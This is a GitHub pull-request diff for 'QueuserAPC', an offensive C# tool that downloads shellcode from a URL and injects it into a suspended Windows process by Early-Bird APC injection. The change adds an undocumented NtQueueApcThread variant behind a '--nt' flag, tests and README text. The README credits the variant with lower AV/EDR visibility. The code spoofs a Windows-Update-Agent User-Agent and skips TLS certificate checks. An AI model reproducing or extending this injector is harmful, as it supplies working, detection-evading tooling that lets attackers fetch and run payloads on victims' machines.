Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
31 changes: 31 additions & 0 deletions QueuserAPC.Tests/ProgramTests.cs
Original file line number Diff line number Diff line change
Expand Up @@ -35,4 +35,35 @@ public void ParseUrl_InvalidScheme_ThrowsArgumentException(string url)
var ex = Assert.Throws<ArgumentException>(() => Program.ParseUrl([url]));
Assert.Contains("http or https", ex.Message, StringComparison.OrdinalIgnoreCase);
}

[Fact]
public void ParseUrl_UrlWithNtFlag_ReturnsUrl()
{
const string url = "http://192.168.1.10/payload.bin";
Assert.Equal(url, Program.ParseUrl(["--nt", url]));
}

[Fact]
public void ParseUrl_NtFlagOnly_ThrowsArgumentException()
{
Assert.Throws<ArgumentException>(() => Program.ParseUrl(["--nt"]));
}

[Fact]
public void ParseUseNt_NoFlag_ReturnsFalse()
{
Assert.False(Program.ParseUseNt(["http://192.168.1.10/payload.bin"]));
}

[Fact]
public void ParseUseNt_WithFlag_ReturnsTrue()
{
Assert.True(Program.ParseUseNt(["--nt", "http://192.168.1.10/payload.bin"]));
}

[Fact]
public void ParseUseNt_FlagCaseInsensitive_ReturnsTrue()
{
Assert.True(Program.ParseUseNt(["--NT", "http://192.168.1.10/payload.bin"]));
}
}
25 changes: 22 additions & 3 deletions QueuserAPC/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -13,26 +13,42 @@ internal static string ParseUrl(string[] args)
if (args.Length < 1)
throw new ArgumentException("Shellcode URL is required.");

var url = args[0];
// Skip --nt flag when looking for the URL
var url = Array.Find(args, a => !a.StartsWith("--"))
?? throw new ArgumentException("Shellcode URL is required.");

if (!Uri.TryCreate(url, UriKind.Absolute, out var uri) ||
(uri.Scheme != Uri.UriSchemeHttp && uri.Scheme != Uri.UriSchemeHttps))
throw new ArgumentException($"URL must use http or https scheme: {url}");

return url;
}

/// <summary>
/// Returns true when the <c>--nt</c> flag is present, selecting the
/// <see cref="Win32.NtQueueApcThread"/> variant over <see cref="Win32.QueueUserAPC"/>.
/// </summary>
internal static bool ParseUseNt(string[] args) =>
Array.Exists(args, a => a.Equals("--nt", StringComparison.OrdinalIgnoreCase));

static async Task Main(string[] args)
{
string shellcodeUrl;
bool useNt;
try
{
shellcodeUrl = ParseUrl(args);
useNt = ParseUseNt(args);
}
catch (ArgumentException ex)
{
Console.Error.WriteLine($"Error: {ex.Message}");
Console.Error.WriteLine("Usage: QueuserAPC <shellcode-url>");
Console.Error.WriteLine("Usage: QueuserAPC [--nt] <shellcode-url>");
Console.Error.WriteLine(" e.g. QueuserAPC https://192.168.1.10/payload.bin");
Console.Error.WriteLine(" QueuserAPC --nt https://192.168.1.10/payload.bin");
Console.Error.WriteLine();
Console.Error.WriteLine("Flags:");
Console.Error.WriteLine(" --nt Use NtQueueApcThread (ntdll) instead of QueueUserAPC (kernel32)");
Environment.Exit(1);
return;
}
Expand Down Expand Up @@ -98,7 +114,10 @@ static async Task Main(string[] args)
Win32.MemoryProtection.ExecuteRead,
out _);

Win32.QueueUserAPC(baseAddress, pi.hThread, 0);
if (useNt)
Win32.NtQueueApcThread(pi.hThread, baseAddress, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
else
Win32.QueueUserAPC(baseAddress, pi.hThread, 0);

Win32.ResumeThread(pi.hThread);
}
Expand Down
13 changes: 13 additions & 0 deletions QueuserAPC/Win32.cs
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,19 @@ public static extern uint QueueUserAPC(
IntPtr hThread,
uint dwData);

/// <summary>
/// Undocumented NTDLL function — queues an APC without the Win32 alertable-state
/// requirement. Useful when the target thread is suspended (CREATE_SUSPENDED) as it
/// does not need to enter an alertable wait before the APC fires on ResumeThread.
/// </summary>
[DllImport("ntdll.dll")]
public static extern uint NtQueueApcThread(
IntPtr ThreadHandle,
IntPtr ApcRoutine,
IntPtr ApcArgument1,
IntPtr ApcArgument2,
IntPtr ApcArgument3);

[DllImport("kernel32.dll")]
public static extern uint ResumeThread(
IntPtr hThread);
Expand Down
21 changes: 19 additions & 2 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,21 +43,37 @@ Output: `QueuserAPC\bin\Release\net8.0\QueuserAPC.exe`
## Usage

```
QueuserAPC.exe <shellcode-url>
QueuserAPC.exe [--nt] <shellcode-url>
```

| Argument | Description |
|---|---|
| `<shellcode-url>` | URL serving raw shellcode bytes (HTTP or HTTPS) |
| `--nt` | Use `NtQueueApcThread` (ntdll) instead of `QueueUserAPC` (kernel32) — see below |

**Example:**
**Examples:**

```
# Default — QueueUserAPC variant (kernel32)
QueuserAPC.exe https://192.168.1.10/payload.bin

# NtQueueApcThread variant (ntdll)
QueuserAPC.exe --nt https://192.168.1.10/payload.bin
```

> The HTTP client sends a `Windows-Update-Agent` User-Agent string and skips TLS certificate validation — suitable for lab environments using self-signed certificates.

### QueueUserAPC vs NtQueueApcThread

| | `QueueUserAPC` | `NtQueueApcThread` |
|---|---|---|
| Library | `kernel32.dll` | `ntdll.dll` |
| Documented | Yes | No (undocumented NTDLL export) |
| Alertable state required | Yes — thread must enter alertable wait | No — fires on `ResumeThread` from `CREATE_SUSPENDED` |
| AV/EDR visibility | Higher (common LOLBin path) | Lower (NTDLL syscall tier) |

Both variants target a `CREATE_SUSPENDED` process, so either works in the Early-Bird pattern. The `--nt` variant operates at the NTDLL tier, bypassing the higher-level Win32 APC dispatch and offering a lighter EDR footprint.

---

## Project Structure
Expand Down Expand Up @@ -111,6 +127,7 @@ Hooks run automatically on `git commit`:
| 8 | ✅ Done | xUnit test project — CLI argument validation and URL guard (Win32 calls are integration-level and excluded) |
| 9 | ✅ Done | detect-secrets baseline (`.secrets.baseline`) + pre-commit hook + CI step |
| 10 | ✅ Done | CI matrix build for both Debug and Release configurations |
| [#8](https://github.com/incendiary/QueuserAPC/issues/8) | ✅ Done | `NtQueueApcThread` variant — `--nt` flag selects ntdll tier; comparison table in README |

---

Expand Down
Loading